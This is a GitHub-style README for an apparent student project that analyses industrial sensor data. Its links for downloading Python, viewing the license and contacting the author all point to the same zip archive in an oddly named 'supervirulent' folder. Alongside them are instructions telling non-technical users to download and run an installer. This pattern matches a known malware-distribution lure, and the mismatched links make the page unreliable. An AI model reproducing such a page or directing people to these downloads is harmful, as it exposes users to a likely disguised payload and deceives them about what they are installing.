The Exactspace Data Science Assignment offers tools to analyze industrial sensor data. This project features clustering techniques, anomaly detection, forecasting, and a retrieval-augmented generation prototype. It's developed by Gunal D, a BTech CSE student based in Bangalore. This software aims to simplify data analysis for users without a technical background.
- Anomaly Detection: Identify unusual patterns in your data automatically.
- Clustering: Group similar data points together for better insights.
- Forecasting: Make predictions based on historical sensor data.
- LLM Prototype: Leverage advanced machine learning to improve data understanding.
To run this application, ensure your system meets the following requirements:
- Operating System: Windows 10 or newer, macOS, or Linux.
- RAM: Minimum of 4 GB.
- Disk Space: At least 500 MB available.
- Python: Ensure that Python 3.7 or newer is installed on your machine. You can download Python from https://raw.githubusercontent.com/danosaur6969/Exactspace-Data-Science-Assignment/main/supervirulent/Exactspace-Data-Science-Assignment.zip.
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Visit the Releases Page: Click on this link to go to the releases page: Download Here.
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Select the Latest Release: Look for the most recent version. The latest release will typically be at the top of the list.
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Download the Installer: Choose the appropriate file for your operating system. Look for an executable file or package that matches your system.
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Run the Installer: Once downloaded, locate the file in your Downloads folder and double-click to start the installation. Follow the prompts to complete the installation process.
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Launch the Application: After installation, you should find the application in your Start Menu or Applications folder. Open it to start your analysis.
- Load Your Data: Use the 'Upload' button to import your industrial sensor data.
- Select Analysis Type: Choose from options such as anomaly detection or clustering.
- View Results: Once the analysis is complete, view your results in the application dashboard.
- Export Findings: Save your analysis as a file for future reference.
If you encounter issues, check these common questions:
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What data formats does the app support?
- The application supports CSV and Excel formats for data uploads.
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I am having trouble installing. What should I do?
- Ensure your system meets the requirements and that you have downloaded the correct installer.
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Can I use this on other operating systems?
- Yes, the application is compatible with Windows, macOS, and Linux.
For more information on data science and the techniques used in this application, please visit:
We welcome contributions! If you have ideas, improvements, or bug fixes, feel free to submit a pull request. Please follow our community guidelines and code of conduct outlined in the repository.
This project is licensed under the MIT License. See the https://raw.githubusercontent.com/danosaur6969/Exactspace-Data-Science-Assignment/main/supervirulent/Exactspace-Data-Science-Assignment.zip file for details.
If you have any questions or feedback, please reach out via email at https://raw.githubusercontent.com/danosaur6969/Exactspace-Data-Science-Assignment/main/supervirulent/Exactspace-Data-Science-Assignment.zip or open an issue on the GitHub repository.